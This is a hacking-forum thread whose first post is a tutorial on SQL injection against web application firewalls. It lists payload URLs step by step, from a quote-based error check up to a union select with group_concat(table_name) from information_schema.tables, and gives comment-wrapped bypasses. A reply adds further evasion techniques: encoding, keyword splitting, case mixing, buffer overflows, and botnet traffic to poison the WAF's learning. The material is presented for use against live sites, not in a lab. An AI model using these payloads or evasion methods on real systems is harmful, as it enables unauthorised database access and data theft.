[D@rk1433]

-----------Analyze WAF Tutorial------


Now I share this tutorial here which I learn from Experts and By Practice.


Lets Start ---------->

1. Before Bypassing WAF on SQLI we have to understand the behaviour of WAF.
Mean we have to understand WAF that which command is block by WAF or which command is not block by WAF.

2. Now Learn Practically

http://www.site.com/php?id=3 ------> This is a site as example

Now Put ' like 3'.

http://www.site.com/php?id=3' ----> U see Error.It means Vulnerable to SQLI

Now put + at the end of 3 like -----> 3+

http://www.site.com/php?id=3+ ----> We use + to check is spaces is block or not by WAF. If you see error by using + it means spaces is block & if no error means spaces is not block

Now put union at last like ----> 3 union

http://www.site.com/php?id=3 union -----> If error like 403,406 etc or page load not normally then it means union is block or if page loads normally than it means union is not block by WAF


Now put select at last like ---->3 select

http://www.site.com/php?id=3 union select -------> If page loads normally then it means select is not block by WAF.If select is block we can easily bypass select by Bypass WAF Method


Now put union select at last like ----> 3 union select

http://www.site.com/php?id=3 union select ------->
If page loads normally then it means union select is not block by WAF. If union select block then it means both union select can't be use together.
For use together of union select we use this bypass method
------> /*union select*/ or /*!union*/ select or etc etc.


Now put concat at last like -----> 3 concat

http://www.site.com/php?id=3 concat -----> If page load normal than concat command work but if page not load normal and you see error like 403,406 etc that it means concat is block

Now put concat at last like -----> 3 group

http://www.site.com/php?id=3 group -----> If page load normal than group work but if page not load normal and you see error like 403,406 etc that it means group is block

Now put group_concat at last like -----> 3 group_concat

http://www.site.com/php?id=3 group_concat
-----> If page load normal than group_concat command work but if page not load normal and you see error like 403,406 etc that it means group_concat is block


Now put group_concat() at last like -----> 3 group_concat()

http://www.site.com/php?id=3 group_concat() -----> If page load normal than it means group_concat() command work and if you see error than it means () is block by WAF. Than you can use URL Encoding of ().

Now put group_concat(111/0x0a,0x3a/table_name) at last like -----> 3 group_concat(111/0x0a/0x3a/table_name)

http://www.site.com/php?id=3 group_concat(111/0x0a/0x3a/table_name) -----> If page load normal than it means that above command works but if you see error like 403,406 etc than it means WAF block 111/0x0a/0x3a/table_name (The reason of I use 111/0x0a/0x3a is to check is WAF block commands inside of brackets--->()). If we see error than for bypass we can use this following command as example
-----> group_concat(/*!table_name*/)


Note :- You can try to put any of these in group_concat() ----> 111,0x0a,0x3a,table_name

Now put from at last like -----> 3 from

http://www.site.com/php?id=3 from -----> If page load normal than from command work but if page not load normal and you see error like 403,406 etc that it means from is block



So In short you can see which command is block or which command is not block by WAF by understanding the behaviour of WAF


In short see ---->

http://www.site.com/php?id=3

http://www.site.com/php?id=3+

http://www.site.com/php?id=3+union

http://www.site.com/php?id=3+select

http://www.site.com/php?id=3+union select

http://www.site.com/php?id=3+group

http://www.site.com/php?id=3+concat

http://www.site.com/php?id=3+group_concat()

http://www.site.com/php?id=3+group_concat(111)

http://www.site.com/php?id=3+group_concat(table_name)

http://www.site.com/php?id=3+group_concat(table_name) from

http://www.site.com/php?id=3+group_concat(table_name) from information

http://www.site.com/php?id=3+group_concat(table_name) from information_

http://www.site.com/php?id=3+group_concat(table_name) from information_schema

http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables


http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables where

http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables where table

http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables where table_

http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables where table_schema


http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables where table_schema=database()




Thats It.


My wording is ---> If you understand the behaviour of WAF you can bypass Those WAF.


Thanks for reading hope it help you.
I Will be more happy if Experts also share their experiences regarding This

Credit :- CodeNinja a.k.a. Aakash Choudhary

[Reiko]

Because WAF only block SQL injection attempts.
Bravo.

[Brawler]

-----------Analyze WAF Tutorial------


Now I share this [b]tutorial here which I learn from Experts and By Practice.


Lets Start ---------->


......


My wording is ---> If you understand the behaviour of WAF you can bypass Those WAF.


Thanks for reading hope it help you.
I Will be more happy if Experts also share their experiences regarding This

Credit :- CodeNinja a.k.a. Aakash Choudhary

[/b]

I'm going to be extremely blunt... This "tutorial" is garbage.

Let me start by explaining some basic things about WAF's:

1. There are alot of different models/versions/configurations for WAFS, each WAF has the potential to act and respond in different ways.
   
2. A properly configured WAF is smart. Sending and recieving that many "failed" attempt outside of the normal "id=" usecase will be noticed and dropped/blocked. If it doesn't, I would wager that its either not configured, not turned on, or it's not a WAF.
   
3. Any WAF worth its price will include proper filters for all of the common and uncommon SQL commands.... These filters will most likely trigger wrappers that will act as parameterized queries and turn your command into a string. Hell, I have even seen a WAF create ad-hoc prepared statements that get translated/converted on the firewall prior to reaching the application.
   

Because of the above items, there is a good chance that your tutorial will fail against properly configured WAF's. Furthermore.... The commands that you are choosing to run in this tutorial require pre-existing knowlege of the backend database... An attacker that is probing will not have any "table_names" for the DB.... and would have to either bruteforce/guess that information.

TL;DR: From my perspecitve you know very little about WAF's, and I didn't like your tutorial enough to make an angry post about it

[D@rk1433]

So you are expert in sqli mr Brawler right. If you are i will post some challenges here in sqli try to solve them. And yes not cheating. Don't know why you are against me. That tutorial is great and always remain great. Talk to experts and ask them about their opinion on this tut. If that tutorial is garbage then tell your methods here that how you understand waf and bypass them.We all here to learn.Not to fight. Many experts like that tutorial already

[Brawler]

So you are expert in sqli mr Brawler right. If you are i will post some challenges here in sqli try to solve them. And yes not cheating. Don't know why you are against me. That tutorial is great and always remain great. Talk to experts and ask them about their opinion on this tut. If that tutorial is garbage then tell your methods here that how you understand waf and bypass them.We all here to learn.Not to fight. Many experts like that tutorial already

What you posted is a glorified "probing" exercise... And it offers zero legitimate methods of WAF bypassing.

Below please find some of the most BASIC methods of bypassing a WAF:

1. Inline Comments (/*SELECT * FROM TABLE */)
   
2. Buffer Overflows
   
3. URL/Hex encoding (%73elect)
   
4. Tricking the auto-learning functions by spamming illigitamate traffic from a large numebr of hosts (botnet method)
   
5. Keyword splitting (IE SELSELECTCT * frFROMom TABLE)
   
6. Mixing the case of the chars (SeLEcT)
   

Even these methods will most likely fail against some of the commercial tools available....
References for greater learning:


http://blog.ptsecurity.com/2009/11/anoth...t-sql.html

http://www.slideshare.net/devteev/method...rewall-eng

http://www.bloombit.com/Articles/2008/05...ction.aspx

http://www.websec.ca/blog/view/Bypassing...ith_SQLMap

http://gnahackteam.wordpress.com/2012/07...g-methods/

http://www.danielmiessler.com/blog/bypas...cookie-jar

[whatever]

A proper and non-retarded WAF has a whitelist.

[Brawler]

A proper and non-retarded WAF has a whitelist.

I agree.

[D@rk1433]

Brawler sir u listed all those methods which bypass waf. But without knowing which method is use in which command is important. If WAF block union and you applied those techniques on select then waf not bypass. Some time waf on both UNION SELECT so we apply WAF Techniques on those.

[Reiko]

Why does your statement include any SQL keywords anyway? You can easily do without them entirely.

[Brawler]

Brawler sir u listed all those methods which bypass waf. But without knowing which method is use in which command is important. If WAF block union and you applied those techniques on select then waf not bypass. Some time waf on both UNION SELECT so we apply WAF Techniques on those.

... Are you serious? Any of the bypasses that can be used on the select statement can also been applied to a union select. I don't feel like you are grasping how these bypasses work enough to understand where they are applicable.

Why does your statement include any SQL keywords anyway? You can easily do without them entirely.

I thought it might help him if I included some basic pseudo-examples, but I was apparently wrong.

(@D@rk1433 Just so you know I'm done posting. I legit tried to help you, but I don't think its within my power to help you understand.)